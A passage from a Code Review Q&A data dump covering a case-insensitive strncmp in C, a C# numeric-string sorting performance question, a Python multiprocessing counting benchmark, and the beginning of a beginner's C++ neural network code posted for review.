*</code></p>\n<pre><code>int strncmpci(const char * str1, const char * str2, size_t num) {\n const unsigned char *ustr1 = (const unsigned char *)str1;\n const unsigned char *ustr2 = (const unsigned char *)str2;\n // Now instead use `ustr1, ustr2` for rest of code.\n\n ret_code = tolower(*ustr1) - tolower(*ustr2);\n</code></pre>\n<p>OP has "code works on the original 7-bit ASCII character set only". There is not need to not behave well with characters outside the ASCII range.</p>\n<p>Further to match <code>strncmp()</code>, code should "For all functions in this subclause, each character shall be interpreted as if it had the type <code>unsigned char</code>".</p>\n<p><strong>Parameter order</strong></p>\n<p><a href=\"https://en.wikipedia.org/wiki/C2x\" rel=\"nofollow noreferrer\">C2X</a> may have " ... the order of parameters in function declarations should be arranged such that the size of an array appears before the array. ...". So if not trying for backward compatibility, one could code:</p>\n<pre><code>//int strncmpci(const char * str1, const char * str2, size_t num)\nint strncmpci(size_t num, const char * str1, const char * str2)\n</code></pre>\n<p><strong>Sorting</strong></p>\n<p>The return value of <code>INT_MIN</code> for error cases makes using this function as part of a compare function a problem with <code>qsort()</code> as <code>strncmpci(NULL, "foo");</code> returns <code>INT_MIN</code>, yet <code>strncmpci( "foo", NULL);</code> needs to return a positive number to meet the compare function requirements c17dr § 7.22.5.1 3.</p>\n<p>The whole error checking for <code>NULL</code> arguments sounds/looks nice, but may have unintended consequences.</p>\n<p>Candidate alternative:</p>\n<pre><code>int strncmpci(const char * str1, const char * str2, size_t num) {\n if (str1 == NULL || str2 == NULL) {\n errno = TBD;\n if (str1 == NULL) str1 = "";\n if (str2 == NULL) str2 = "";\n // Continue as if the NULL argument was the empty string.\n }\n ...\n</code></pre>\n<p><strong>Minor: <code>chars_compared</code> not needed.</strong></p>\n<p>Simply enough to count down <code>num</code> and compare it to 0.</p>\n<pre><code>int strncmpci(const char * str1, const char * str2, size_t num) {\n ....\n while (num > 0 ...) {\n num--;\n ...\n }\n...\n</code></pre>\n<p><strong>Pedantic: <code>int</code> overflow</strong></p>\n<p><code>tolower((int)(*str1)) - tolower((int)(*str2))</code> risks <code>int</code> overflow (UB) on those long forgotten machine where <code>UCHAR_MAX > INT_MAX</code>. IMO, not a real concern - just here for the record.</p>\n<hr />\n<p>Much of this in <a href=\"https://stackoverflow.com/a/51992138/2410359\">pitfalls to watch out for when doing case insensitive compares</a> including a <em>fast</em> version should one care to code their own <code>tolower</code> tables.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T09:25:09.270",
"Id": "503814",
"Score": "0",
"body": "Regarding casting to int, it is true that the standard says \"In all cases the argument is an `int`, the value of which shall be representable as an `unsigned char` or shall equal the value of the macro `EOF`\" and often ctype.h functions cast to `unsigned char` internally for this reason, but there's no guarantee. Arguably, this is not strncmp's job to fix though. Since the parameters to ctype.h functions is `int`, I see nothing wrong with the cast. It's always good practice to be explicit with all type conversions."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T13:10:37.670",
"Id": "503824",
"Score": "1",
"body": "@Lundin The issue about the `(int)` cast is not if it is wrong or not . When the value passed is less than 0 is the issue. `is...()` expects value in the `unsigned char` range (or `EOF`). The characters of the string, to match `str..()` functions should get read as if \"each character shall be interpreted as if it had the type unsigned char\" (C17 7.24.1 3). By using `is...(*(unsigned char * )str1)`, both of these concerns are well handled unlike `is...((int)*str1)`. Should code still want to use the `(int)` to fulfil your \"good practice\", it should be `is...((int) *(unsigned char * )str1)`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T13:16:30.910",
"Id": "503826",
"Score": "0",
"body": "@Lundin \"often ctype.h functions cast to unsigned char internally\" is a problem as with a common `EOF == -1`, a cast to `unsigned char` implies the result of `is...(EOF)` is the same as `is...(255)` More likely is the value is anded with 511 and the [0-511] result is then looked up in a table that is nearly the same in both its halves. IAC, that is an implementation issue."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T13:33:33.033",
"Id": "503829",
"Score": "0",
"body": "I took a peek at glibc and they simply do `c >= -128 && c < 256 ? __ctype_tolower[c] : c;`. That is, in case of EOF they just return EOF and don't call the actual function."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T13:40:26.227",
"Id": "503832",
"Score": "1",
"body": "@Lundin When `EOF == -1` (very common), `c >= -128 && c < 256 ? __ctype_tolower[c] : c` , `EOF` is not returned, but `__ctype_tolower[-1]` - (hmm depends on type of `__ctype_tolower[]`). When the character of the string is 255 and read with `char *` (and `char` is signed), the wrong table entry is used - hence the value in accessing via `unsigned char *`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T13:40:28.590",
"Id": "503833",
"Score": "2",
"body": "Hmm nevermind, they actually do use `EOF == -1` and use that a a valid table look-up. The code isn't exactly easy to read :)"
}
],
"meta_data": {
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T02:49:03.090",
"Id": "255352",
"ParentId": "255344",
"Score": "5"
}
},
{
"body": "<ul>\n<li><p>Overall, checking byte by byte is fast on 8/16 bit CPUs since they typically don't care about alignment, but slow on 32 bit or larger CPUs. So the byte by byte loop is fine if low-end MCUs are the target, but naive if 32 bitters are used.</p>\n</li>\n<li><p>Since you are aiming for a minimalistic implementation, then checking parameters for null is unnecessary bloat. Such error handling should be left to the caller. On smaller systems this leads to two unnecessary 16 bit index registers comparisons. On high-end systems this leads to unnecessary branches.</p>\n<p>When do you expect strings to point at NULL on a low-end microcontroller system anyway? It's a rare use-case scenario and you'd probably only end up there if you have bugs elsewhere in the code. If you are concerned about that, then toss in some <code>assert</code> in the calling code of the debug build.</p>\n</li>\n<li><p><code>int</code> return type is compatible with standard C, but unnecessarily slow on 8 bit MCUs. <code>int8_t</code> would give a performance gain. The ABI/calling convention of various different 8-bit compilers tend to be wildly different from each other though. It might make sense to make specific MCU ports if library quality code is desired.</p>\n</li>\n<li><p>You can drop <code>chars_compared</code> and instead down-count <code>num</code>. Since the loop in this case is not trivial, even a modern compiler might struggle to optimize that part. On 8 bitters, "branch if zero" instructions are somewhat faster than "branch if equal/less" etc.</p>\n</li>\n<li><p><code>tolower</code>/<code>toupper</code> are inefficient and come with the "don't pass negative value" hiccup mentioned in another review. Switching the internal types used from <code>const char*</code> to <code>const unsigned char*</code> shaved down 7 instructions in total with AVR gcc compiler. Use <code>char</code> and it does some strange temporary variable passing, that goes away if you use <code>unsigned char</code>.</p>\n<p>Without any deeper analysis, I suspect this is mostly related to the dysfunctional <code>int</code> API of the ctype.h functions, which is not well-designed for 8 bit microcontrollers.</p>\n<p>If you need maximum portability, ok then you need to call <code>tolower</code>. If you want speed, however... this is your code, disassembled on a crappy AVR:</p>\n<pre><code>mov __tmp_reg__,r24\nlsl r0\nsbc r25,r25\ncall tolower\nmovw r16,r24\nmov r24,r15\nlsl r15\nsbc r25,r25\ncall tolower\nmovw r18,r16\nsub r18,r24\nsbc r19,r25\nmovw r24,r18\n</code></pre>\n<p>Eww. Without even expanding those functions to see what's inside, function calls in themselves are quite expensive on 8 bitters. Now consider writing a completely non-portable version:</p>\n<pre><code>static char tolower_fast (const char* str)\n{\n return (*str>='A' && *str<='Z') ? (*str + 'a'-'A') : *str;\n}\n...\nret_code = tolower_fast(str1) - tolower_fast(str2);\n</code></pre>\n<p>AVR gcc gives me:</p>\n<pre><code>.L5:\n mov __tmp_reg__,r18\n lsl r0\n sbc r19,r19\n\n ldi r24,lo8(-65)\n add r24,r25\n cpi r24,lo8(26)\n brsh .L6\n subi r25,lo8(-(32))\n.L6:\n sub r18,r25\n sbc r19,__zero_reg__\n sbrc r25,7\n inc r19\n</code></pre>\n<p>where the 5 instructions from <code>ldi</code> in the middle is roughly the <code>tolower_fast</code> function inlined. Yeah it's completely non-portable and won't support EBCDIC at all. But it's running in circles around the original slow code.</p>\n<p>And then if we also drop <code>char</code>:</p>\n<pre><code>int strncmpci1(const char * s1, const char * s2, size_t num)\n{\n const uint8_t* str1 = s1;\n const uint8_t* str2 = s2;\n...\n ret_code = tolower_faster(str1) - tolower_faster(str2);\n</code></pre>\n<p>with the same function just unsigned types:</p>\n<pre><code>static uint8_t tolower_faster (const uint8_t* str)\n{\n return (*str>='A' && *str<='Z') ? (*str + 'a'-'A') : *str;\n}\n</code></pre>\n<p>Then it boils down to this:</p>\n<pre><code>.L5:\n ldi r19,0\n ldi r24,lo8(-65)\n add r24,r25\n cpi r24,lo8(26)\n brsh .L6\n subi r25,lo8(-(32))\n.L6:\n sub r18,r25\n sbc r19,__zero_reg__\n</code></pre>\n<p>I'd even dare call it library-quality code now. :)</p>\n</li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T14:11:33.453",
"Id": "503920",
"Score": "0",
"body": "Why is `tolower_fast` completely non-portable? Is it non-portable for machines that encode strings in a non-ascii way?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T02:15:24.557",
"Id": "503956",
"Score": "0",
"body": "\"int return type is compatible with standard C, but unnecessarily slow on 8 bit MCUs. int8_t would give a performance gain.\" --> hmm, perhaps return `int_fast8_t` rather than \"make specific MCU ports\". IAC.Using an 8-bit return for `strncmpci1()` \n (if you meant that)increases OF/conversion concerns with those pesky characters outside the 0-127 range."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T07:36:13.020",
"Id": "504044",
"Score": "0",
"body": "@chux-ReinstateMonica It would specifically be slightly slower on AVR, at least on most ABIs. `int_fast8_t` is indeed a good option."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T10:41:24.550",
"Id": "255364",
"ParentId": "255344",
"Score": "4"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T22:05:28.637",
"Id": "255344",
"Score": "5",
"Tags": [
"c"
],
"Title": "case-insensitive `strncmp()` for ASCII chars only (not UTF-8)"
}
|
255344
|
<p>Consider an array of numeric strings where each string is a positive whole number. Sort the array's string elements in ascending order of their numeric values, and return the sorted array.</p>
<p><strong>Return</strong>: string[n]: the array sorted in numeric order.</p>
<p><strong>Constraints</strong>: Each string is guaranteed to represent a positive whole integer. There will be no leading zeros.</p>
<p>Sample Input:</p>
<pre><code>6
31415926535897932384626433832795
1
3
10
3
5
</code></pre>
<p>Sample Output:</p>
<pre><code>1
3
3
5
10
31415926535897932384626433832795
</code></pre>
<p>Code:</p>
<pre><code>using System;
using System.IO;
using System.Linq;
namespace Big_Sorting
{
class Solution
{
static string[] BigSorting(string[] unsorted) => unsorted.OrderBy(s => s.Length).ThenBy(s => s).ToArray();
static void Main()
{
TextWriter textWriter = new StreamWriter(@System.Environment.GetEnvironmentVariable("OUTPUT_PATH"), true);
int n = Convert.ToInt32(Console.ReadLine());
string[] unsorted = new string[n];
for (int i = 0; i < n; i++)
{
unsorted[i] = Console.ReadLine();
}
textWriter.WriteLine(string.Join("\n", BigSorting(unsorted)));
textWriter.Flush();
textWriter.Close();
}
}
}
</code></pre>
<p>I need to improve upon this code. Priority for me is performance here. If the array is becomes long in length this begins to slow down. This is functional and working. I just want to get it as fast as possible.</p>
<p><a href="https://hr-testcases-us-east-1.s3.amazonaws.com/33593/output00.txt?AWSAccessKeyId=AKIAR6O7GJNX5DNFO3PV&Expires=1611881612&Signature=HPCRgZV4PktZWMWJruUU%2BYIU5ao%3D&response-content-type=text%2Fplain" rel="nofollow noreferrer">The code works fine for test cases like this.</a></p>
<p><a href="https://hr-testcases-us-east-1.s3.amazonaws.com/33593/input07.txt?AWSAccessKeyId=AKIAR6O7GJNX5DNFO3PV&Expires=1611880641&Signature=zJfvuT043vXQ5uUmg9gXqL8QcOI%3D&response-content-type=text%2Fplain" rel="nofollow noreferrer">But has trouble with test case like this</a></p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T13:11:40.850",
"Id": "503825",
"Score": "2",
"body": "Can you clarify what you mean by \"has trouble\"? Is it just slow or does it produce the wrong results?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T13:39:54.203",
"Id": "503831",
"Score": "5",
"body": "Is that [this](https://www.hackerrank.com/challenges/big-sorting/problem)? If so, why keep that secret?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T15:51:50.150",
"Id": "503841",
"Score": "1",
"body": "your test case links are no longer available."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T17:37:13.063",
"Id": "503858",
"Score": "0",
"body": "Link to test cases.\nhttps://gist.github.com/milliorn/aa632cc4a2d659e050bbdb8794a308c1"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T13:07:10.437",
"Id": "504056",
"Score": "0",
"body": "Could you please include some measurement data? All optimization should start by understanding the current solution (what is the baseline, where is the bottleneck, how far is it from the expected behaviour, should it be fast for all sort of inputs, etc..)"
}
] |
[
{
"body": "<p>You have been posting in CodeReview for about 1 year, so while you are still learning C# and a hobbyist, you are not a total newbie. Therefore, you should expect the reviews to be a little more critical. Do understand that "critical" does not mean "mean spirited" but rather more blunt while also being constructive.</p>\n<p>What disappoints me most in your code is its structure. You put almost everything in Main. I would challenge you to step back and look at the big picture of what goes on:</p>\n<ol>\n<li>UI Input - Ask for input values</li>\n<li>Business Logic - manipulate or\nprocess those input values</li>\n<li>UI Output</li>\n</ol>\n<p>So you could make your Main to look similar to those items. This is a major principle to keep in mind: <strong>Separation of Concerns</strong>, namely your business logic and UI should be separate. But Separation of Concerns also applies to breaking up a monster method that is doing too much into smaller methods where each call does a specific thing.</p>\n<p>There is also the .NET guideline that you should limit the scope of a variable. I am an old-timer who worked with VB and way back then it was common to define ALL the variables at the top of a method and then use them later. With .NET, this is not needed. In particular, I am referring to the variable <code>textWriter</code>. You define at the very top but start to use it at the bottom.</p>\n<p>I also do not like the name <code>textWriter</code>. I personally would use a generic name of <code>writer</code> just in case you every change to a different implementation. But that really doesn't matter because you don't need that variable at all. You use 4 lines of code when only 1 is needed:</p>\n<pre><code>File.WriteAllLines(@System.Environment.GetEnvironmentVariable("OUTPUT_PATH"), \n BigSorting(unsorted));\n</code></pre>\n<p>I have also observed in a history of your posts, and the same is true here, that you code to a specific implementation of array. Your methods can have a broader reach and re-usability if you coded to a more basic implementation, such as IList or even IEnumerable. Consider:</p>\n<pre><code>static IOrderedEnumerable<string> BigSorting(IEnumerable<string> items) => items.OrderBy(s => s.Length).ThenBy(s => s);\n</code></pre>\n<p>The input is no longer restricted to being an array, and I do not create an entirely new array for output. I also changed the parameter name to <code>items</code> because I don't care if someone inputs a unsorted collection or one sorted in some other order. Doesn't matter to the method.</p>\n<p>What if you wanted to output to an array? Then use <code>.ToArray()</code> when you make the call <code>BigSorting</code> rather than doing it inside <code>BigSorting</code>.</p>\n<p>So that addresses quick and simple sorting use LINQ, which produces a 2nd array. There is an alternative that doesn't require a 2nd array. I haven't tested with huge number of elements or crazy long values. I leave that to you and hopefully you will find it more performant.</p>\n<p>I am referring to making a custom IComparer. See this <a href=\"https://docs.microsoft.com/en-us/dotnet/api/system.array.sort?view=net-5.0#System_Array_Sort__1___0___System_Collections_Generic_IComparer___0__\" rel=\"nofollow noreferrer\">link</a>. Example:</p>\n<pre><code>public class NumericStringComparer : IComparer<string>\n{\n // https://docs.microsoft.com/en-us/dotnet/api/system.array.sort?view=net-5.0#System_Array_Sort__1___0___System_Collections_Generic_IComparer___0__\n public int Compare(string x, string y)\n {\n // Compare x and y as numbers without leading zeroes.\n if (x == null)\n {\n return (y == null) ? 0 : -1;\n }\n if (y == null)\n {\n return 1;\n }\n if (x.Length < y.Length)\n {\n return -1;\n }\n if (y.Length < x.Length)\n {\n return 1;\n }\n return x.CompareTo(y);\n }\n}\n</code></pre>\n<p>Now you would use it like:</p>\n<pre><code>Array.Sort(unsorted, new NumericStringComparer());\nFile.WriteAllLines(@System.Environment.GetEnvironmentVariable("OUTPUT_PATH"), \n unsorted);\n</code></pre>\n<p>Except I now have a problem with the name "unsorted". While the array containing inputs was initially unsorted, I later sorted in-place to that very same array, so in <code>WriteAllLines</code> the name choice of <code>unsorted</code> is misleading. Thus, I would choose a generic name of <code>items</code> for the array.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T17:30:06.707",
"Id": "503854",
"Score": "0",
"body": "@Rick thanks for spending the time again on something I post. Much appreciated. To answer some of your post I will likely only post code that has 100% of my work in it. I can't explain what someone else did. Get some context you can read the other two post I made on this page. Regardless I do in other places still have issues with Separation of Concerns. I\"m sorry you did a write up on that part but it did give me some insight on some things. I keep forgetting about IEnumerable despite using it more often lately. I tried your suggestion with IComparer an it failed the same as my solution."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T17:31:17.053",
"Id": "503855",
"Score": "0",
"body": "@Rick however I really do like what you did with IComparer an although its more code I like the approach an ability to really hone in on what I want it to do. Great advice."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T17:57:39.910",
"Id": "503859",
"Score": "0",
"body": "@Milliorn On using `IComparer` you need to ask yourself what is more important to you: do you want the code to be performant or do you want the code to be short? Oftentimes, you can't have both."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T01:01:08.633",
"Id": "504026",
"Score": "0",
"body": "@Milliorn `an it failed` what does it mean?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T01:59:18.330",
"Id": "504031",
"Score": "0",
"body": "@aepot there is a test that checks a very long list of elements and almost all those elements length are the same."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T02:27:28.567",
"Id": "504033",
"Score": "0",
"body": "@Milliorn what kind of exception thrown?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T05:18:31.747",
"Id": "504035",
"Score": "0",
"body": "Test isn't throwing an exception. Just failing because of time constraint. Simply taking too long to complete when tested against this https://gist.github.com/milliorn/aa632cc4a2d659e050bbdb8794a308c1"
}
],
"meta_data": {
"CommentCount": "7",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T14:57:05.033",
"Id": "255374",
"ParentId": "255346",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T23:06:04.333",
"Id": "255346",
"Score": "0",
"Tags": [
"c#",
"performance",
"array",
".net",
"sorting"
],
"Title": "Big Sorting - Performant Sorting"
}
|
255346
|
<p>The following is a quick attempt at testing some limits of my computer:</p>
<pre><code>import multiprocessing
import time
def main():
numbers = tuple(multiprocessing.Value('Q', 0, lock=False) for _ in range(multiprocessing.cpu_count()))
processes = tuple(multiprocessing.Process(target=count, args=(number,)) for number in numbers)
for process in processes:
process.start()
time.sleep(10)
for process in processes:
process.terminate()
print(sum(number.value for number in numbers))
def count(number):
while True:
number.value += 1
if __name__ == '__main__':
main()
</code></pre>
<p>Without changing the overall design (adding one to a variable as many times as possible within a certain time limit), is there a way to improve the performance of the code? In this case, having a higher number printed out on the same computer is better.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T19:36:23.303",
"Id": "504077",
"Score": "2",
"body": "\"attempt at testing some limits of my computer\" That sounds vague, what's your actual goal? Can you describe it clearly?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-02T20:24:05.587",
"Id": "504175",
"Score": "0",
"body": "@Mast The goal is to get an idea (even if it is incorrect) of how fast a central processing unit is using very little code. The program is a benchmark with simple justifications."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-03T14:54:14.443",
"Id": "504272",
"Score": "1",
"body": "The algorithm seems almost random. Please expand on why this algorithm for the benchmark, as opposed to some other code."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-05T01:47:47.330",
"Id": "504425",
"Score": "0",
"body": "@Donald.McLean The program has a few simple assumptions (that are not guaranteed to be correct -- and are not required to be). First, to make full use of the CPU, all cores should be exercised. Second, the amount of work accomplished can be measured within a consistent time frame. Third, add one to a variable in a tight loop can be used to get a measure of the work performed. Fourth, after the time limit has expired, the work done by each core may be totaled together. Fifth, this sum can begin to approximate the strength of the CPU. This reasoning provides a great deal of room for imprecision."
}
] |
[
{
"body": "<p>Yes, there is at least one way to increase the performance of the adding loop. You should have as few bytecode instructions in that loop as possible. Right now, you are accessing the attribute of a variable. Such an operation can be eliminated by only assigning to that attribute once all of the additions have been run in the given time limit. By starting another thread waiting on a barrier, you can signal the main threading with a keyboard interrupt when the time limit has expired. When handling the exception, that is when you can assign the total number of addition operations to the number's value attribute.</p>\n<pre><code>import _thread\nimport multiprocessing\nimport threading\nimport time\n\n\ndef main():\n numbers = tuple(multiprocessing.Value('Q', 0, lock=False) for _ in range(multiprocessing.cpu_count()))\n signal = multiprocessing.Barrier(len(numbers) + 1)\n processes = tuple(multiprocessing.Process(target=count, args=(number, signal)) for number in numbers)\n for process in processes:\n process.start()\n time.sleep(10)\n signal.wait()\n for process in processes:\n process.join()\n print(sum(number.value for number in numbers))\n\n\ndef count(number, signal, temp=0):\n threading.Thread(target=terminate, args=(signal,)).start()\n try:\n while True:\n temp += 1\n except KeyboardInterrupt:\n number.value = temp\n\n\ndef terminate(signal):\n signal.wait()\n _thread.interrupt_main()\n\n\nif __name__ == '__main__':\n main()\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T21:15:46.950",
"Id": "503870",
"Score": "0",
"body": "How much better is it?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T18:49:33.027",
"Id": "503935",
"Score": "1",
"body": "@superbrain The benchmark runs for 10 seconds. To test performance, each benchmark was run 30 times. The first test run was thrown out to allow the CPU to warm up. The original benchmark produced a mean score of 930,430,091 with a coefficient of variation equal to 1.746001%. The modified benchmark in this answer produced a mean score of 5,324,644,540 with a coefficient of variation equal to 1.595595%. While the computer itself is not any faster, the new benchmark is over 5.72 times more efficient."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T05:51:15.513",
"Id": "255356",
"ParentId": "255355",
"Score": "1"
}
},
{
"body": "<p>My first answer provided a great efficiency boost, but the benchmark can be simplified.</p>\n<p>In answer to the question, the attribute access in the <code>count</code> function will slow down how many addition operations can be executed within the time limit. It would be faster to modify an argument that was provided to the function; and once the time limit has expired, then the shared variable can be updated with the results of the calculation. The <code>threading</code> module is not needed in this case; and if the individual processes are allowed to measure the time limit on their own, then there is no need for a barrier. The strategy will be to start up one process and one thread for each CPU core, use the thread to handle timing, and allow the main process threads to efficiently run the add instructions.</p>\n<pre><code>import _thread\nimport multiprocessing\nimport time\n\n\ndef main():\n numbers = tuple(multiprocessing.Value('Q', 0, lock=False) for _ in range(multiprocessing.cpu_count()))\n processes = tuple(multiprocessing.Process(target=count, args=(number,)) for number in numbers)\n for process in processes:\n process.start()\n for process in processes:\n process.join()\n print(sum(number.value for number in numbers))\n\n\ndef count(shared, temp=0):\n _thread.start_new_thread(terminate, ())\n try:\n while True:\n temp += 1\n except KeyboardInterrupt:\n shared.value = temp\n\n\ndef terminate():\n time.sleep(10)\n _thread.interrupt_main()\n\n\nif __name__ == '__main__':\n main()\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T18:49:58.210",
"Id": "503936",
"Score": "0",
"body": "The modified benchmark in this answer produced a mean score of 5,140,019,029 with a coefficient of variation equal to 1.414959%. While the computer itself is not any faster, the new benchmark is over 5.52 times more efficient."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T18:38:02.667",
"Id": "255420",
"ParentId": "255355",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T05:46:18.757",
"Id": "255355",
"Score": "0",
"Tags": [
"python",
"performance",
"python-3.x",
"benchmarking"
],
"Title": "Simple Python Benchmark"
}
|
255355
|
<p>Asking for a review of this neural network code.</p>
<p>I have officially finished my first neural net that works properly (by my standards right now). But I know there is more than likely some details I am missing or getting wrong that might be affecting the quality of the nets intelligence. I plan on making this a library soon (hence the options for different types of optimization, regularization and activation. I am not too worried about optimal performance but suggestions on improving performance would be much appreciated! I am not proficient in the use of pointers so I did avoid using them, but if I have to, I will.</p>
<p>It is quite a lot of code, but if anyone could just take a quick review, it would really help me in just understanding more. I am 4 months into coding now so Im still very new. (started with c++).
So to clarify, I just want to know if anyone can spot any dire problems that will go unnoticed by the untrained eye, or just small improvements I could make. Very motivated to learn so any criticism welcome!<br />
so heres the code:
(If anyone finds this helpful for learning, more than welcome to use it)</p>
<pre><code>#include <iostream>
#include <vector>
#include <iomanip>
#include <cmath>
#include <random>
#include <fstream>
#include <chrono>
#include <sstream>
#include <string>
double Relu(double &val)
{
if (val < 0.0) return 0.01 * (exp(val) - 1.0);
else return val;
}
double Reluderiv(double &val)
{
if (val < 0.0) return Relu(val) + 0.01;
else return 1.0;
}
double tanhderiv(double& val)
{
return 1.0 - (tanh(val) * tanh(val));
}
double randdist(double x, double y)
{
return sqrt(2.0 / (x + y));
}
int randomt(int x, int y)
{
std::random_device rd;
std::mt19937 mt(rd());
std::uniform_real_distribution<double> dist(x, y);
return round(dist(mt));
}
double randomd(double x, double y)
{
std::random_device rd;
std::mt19937 mt(rd());
std::uniform_real_distribution<double> dist(x, y);
return dist(mt);
}
class INneuron
{
public:
double val{};
double VDW{};
double SDW{};
double VDB{};
double SDB{};
std::vector <double> weights{};
std::vector <double> weightderivs{};
std::vector <double> emavals{};
std::vector <double> adamvals{};
};
class HIDneuron
{
public:
double preactval{};
double actval{};
double actvalPD{};
double preactvalPD{};
double VDW{};
double SDW{};
double VDB{};
double SDB{};
std::vector <double> weights{};
std::vector <double> weightderivs{};
std::vector <double> emavals{};
std::vector <double> adamvals{};
double bias{};
double biasderiv{};
double biasema{};
double biasadam{};
};
class OUTneuron
{
public:
double preactval{};
double actval{};
double preactvalPD{};
double bias{};
double biasderiv{};
double VDB{};
double SDB{};
double biasema{};
double biasadam{};
};
class Net
{
public:
Net(int netdimensions, int hidlayers, int hidneurons, int outneurons, int inneurons, double lambda, double alpha) :
NETDIMENSIONS(netdimensions), HIDLAYERS(hidlayers), HIDNEURONS(hidneurons), OUTNEURONS(outneurons), INNEURONS(inneurons), Lambda(lambda), Alpha(alpha) {}
void defineoptimizer(const std::string& optimizer);
void defineregularizer(const std::string& regularizer);
void defineactivation(const std::string& activation);
void definedescenttype(const std::string& descenttypeS);
bool Feedforward(const std::vector <double>& invec);
void Backprop(const std::vector <double>& targets);
void Updateweights();
void printvalues(double totalloss);
void Initweights();
void softmax();
double regularize(double weight);
double lossfunc(const std::vector <double>& target);
void calcema(const size_t& Layernum, const size_t& neuron, const size_t& weight, const std::string& layer, const std::string& BorW);
void calcadam(const size_t& Layernum, const size_t& neuron,const size_t& weight, const std::string& layer, const std::string& BorW);
double iter{};
private:
INneuron Inn;
HIDneuron Hidn;
OUTneuron Outn;
std::vector <std::vector <HIDneuron>> Hidlayers{};
std::vector <INneuron> Inlayer{};
std::vector <OUTneuron> Outlayer{};
size_t NETDIMENSIONS{};
size_t HIDLAYERS{};
size_t HIDNEURONS{};
size_t OUTNEURONS{};
size_t INNEURONS{};
double Lambda{};
double Alpha{};
double loss{};
int optimizerformula{};
int regularizertype{};
int activationtype{};
};
void Net::defineoptimizer(const std::string& optimizer)
{
if (optimizer == "ExpAvrg")
{
optimizerformula = 1;
}
else if (optimizer == "SGD")
{
optimizerformula = 2;
}
else if (optimizer == "Adam")
{
optimizerformula = 3;
}
else {
std::cout << "no optimizer matching description" << '\n';
abort();
}
}
void Net::defineactivation(const std::string& activation)
{
if (activation == "Relu")activationtype = 1;
else if (activation == "Tanh") activationtype = 2;
else {
std::cout << "no activation determined" << '\n'; abort();
}
}
void Net::defineregularizer(const std::string& regularizer)
{
if (regularizer == "L1")
{
regularizertype = 1;
}
else if (regularizer == "L2")
{
regularizertype = 2;
}
else std::cout << "no regularizer determined" << '\n';
}
void Net::definedescenttype(const std::string& descenttypeS)
{
if (descenttypeS == "SGD")
{
descenttype = 1;
}
else if (descenttypeS == "MiniBatch")
{
descenttype = 2;
}
else std::cout << "No descenttype chose, default SGD set" << '\n';
}
double Net::regularize(double weight)
{
if (regularizertype == 1)
{
double absval{ weight };
if (absval > 0.0) return 1.0;
else if (absval < 0.0) return -1.0;
else if (absval == 0.0) return 0.0;
else return 2;
}
else if (regularizertype == 2)
{
double absval{};
if (weight < 0.0) absval = weight * -1.0;
else absval = weight;
return (2.0 * absval);
}
else { std::cout << "no regularizer recognized" << '\n'; abort(); }
}
void Net::softmax()
{
double sum{};
for (size_t Osize = 0; Osize < Outlayer.size(); Osize++)
{
sum += exp(Outlayer[Osize].preactval);
}
for (size_t Osize = 0; Osize < Outlayer.size(); Osize++)
{
Outlayer[Osize].actval = exp(Outlayer[Osize].preactval) / sum;
}
}
void Net::Initweights()
{
Hidlayers.reserve(HIDLAYERS);
Inlayer.reserve(INNEURONS);
Outlayer.reserve(OUTNEURONS);
unsigned seed = std::chrono::system_clock::now().time_since_epoch().count();
std::default_random_engine generator(seed);
std::normal_distribution<double> distribution(0.0, 1.0);
